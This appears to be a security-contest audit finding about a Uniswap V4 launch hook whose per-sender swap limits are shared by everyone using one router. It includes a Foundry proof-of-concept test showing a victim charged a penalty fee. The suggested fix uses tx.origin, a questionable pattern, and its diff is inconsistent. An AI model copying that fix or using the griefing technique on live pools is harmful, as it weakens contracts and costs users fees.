Vanguard

First Flight #56
Beginner FriendlyDeFiFoundry
0 EXP
Submission Details
Impact: high
Likelihood: high

Shared Limit Design Flaw enables Griefing Attack via Shared Router

Author Revealed upon completion

Shared Limit Design Flaw enables Griefing Attack via Shared Router

Description

The hook enforces limits and cooldowns based on msg.sender in the _beforeSwap function. In the Uniswap V4 architecture, users typically interact with the pool via a shared Router contract (e.g., SwapRouter).

This means the hook sees the SwapRouter's address as the sender for all users using it. Consequently, all users share a single global swap limit and cooldown timer. An attacker can execute a single swap to put the Router on cooldown or exhaust its limit, thereby forcing all subsequent legitimate users to pay penalty fees or be blocked.

// src/TokenLaunchHook.sol
function _beforeSwap(address sender, ...) {
// sender is usually the SwapRouter address
@> if (addressLastSwapBlock[sender] > 0) { ... }

Risk

Likelihood:

  • Any user executing a swap via the standard router triggers this.

Impact:

  • Enables a trivial Griefing attack where a single actor can trigger shared cooldowns or exhaust shared limits, forcing all other legitimate users of the shared router to pay unfair penalty fees.

Proof of Concept

// add contract harness and test to test/TokenLaunchHookUnit.t.sol
import {BeforeSwapDelta} from "v4-core/types/BeforeSwapDelta.sol";
function test_Griefing_CooldownAttack() public {
SwapParams memory params = SwapParams({
zeroForOne: true,
amountSpecified: -0.001 ether,
sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
});
// Use harness to inspect fees directly
uint160 flags = uint160(Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG);
bytes memory constructorArgs = abi.encode(
manager, phase1Duration, phase2Duration, phase1LimitBps, phase2LimitBps,
phase1Cooldown, phase2Cooldown, phase1PenaltyBps, phase2PenaltyBps
);
(address hookAddress, bytes32 salt) = HookMiner.find(address(this), flags, type(TokenLaunchHookHarness).creationCode, constructorArgs);
TokenLaunchHookHarness harness = new TokenLaunchHookHarness{salt: salt}(
manager, phase1Duration, phase2Duration, phase1LimitBps, phase2LimitBps,
phase1Cooldown, phase2Cooldown, phase1PenaltyBps, phase2PenaltyBps
);
harness.setLaunchStartBlock(block.number);
harness.setInitialLiquidity(100 ether); // Mock liquidity
PoolKey memory harnessKey = PoolKey({
currency0: ethCurrency,
currency1: tokenCurrency,
fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
tickSpacing: 60,
hooks: harness
});
// 1. Attacker swaps through the router
// This is the "First Swap" so no cooldown, no limit exceeded yet.
(,, uint24 botFee) = harness.exposed_beforeSwap(address(swapRouter), harnessKey, params, "");
// Verify Bot pays standard fee (OVERRIDE_FEE_FLAG with 0 value due to the other bug, but critically NO PENALTY)
// Ideally this should be just 0 or standard fee, but due to "Swap Fee Bug" it's OVERRIDE | 0
assertEq(botFee, LPFeeLibrary.OVERRIDE_FEE_FLAG, "Bot should pay normal fee (bugged to 0, but no penalty)");
// 2. Victim swaps through the same router in the same block
(,, uint24 victimFee) = harness.exposed_beforeSwap(address(swapRouter), harnessKey, params, "");
// Verify Victim pays penalty fee
uint24 expectedPenalty = uint24(phase1PenaltyBps * 100) | LPFeeLibrary.OVERRIDE_FEE_FLAG;
assertEq(victimFee, expectedPenalty, "Victim should pay penalty fee due to shared cooldown");
}
contract TokenLaunchHookHarness is TokenLaunchHook {
constructor(
IPoolManager _poolManager,
uint256 _phase1Duration,
uint256 _phase2Duration,
uint256 _phase1LimitBps,
uint256 _phase2LimitBps,
uint256 _phase1Cooldown,
uint256 _phase2Cooldown,
uint256 _phase1PenaltyBps,
uint256 _phase2PenaltyBps
) TokenLaunchHook(
_poolManager,
_phase1Duration,
_phase2Duration,
_phase1LimitBps,
_phase2LimitBps,
_phase1Cooldown,
_phase2Cooldown,
_phase1PenaltyBps,
_phase2PenaltyBps
) {}
function exposed_beforeSwap(address sender, PoolKey calldata key, SwapParams calldata params, bytes calldata hookData)
external
returns (bytes4 selector, BeforeSwapDelta delta, uint24 fee)
{
return _beforeSwap(sender, key, params, hookData);
}
function setLaunchStartBlock(uint256 blockNumber) external {
launchStartBlock = blockNumber;
}
function setInitialLiquidity(uint256 liquidity) external {
initialLiquidity = liquidity;
}
}

Recommended Mitigation

Identify the actual end-user in this context to prevent shared-router limits.

function _beforeSwap(address sender, ...) {
- address user = sender;
+ address user = tx.origin;
// Apply limits to the specific user, not the shared router
- if (addressLastSwapBlock[user] > 0) { ... }
+ if (addressLastSwapBlock[user] > 0) { ... }
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!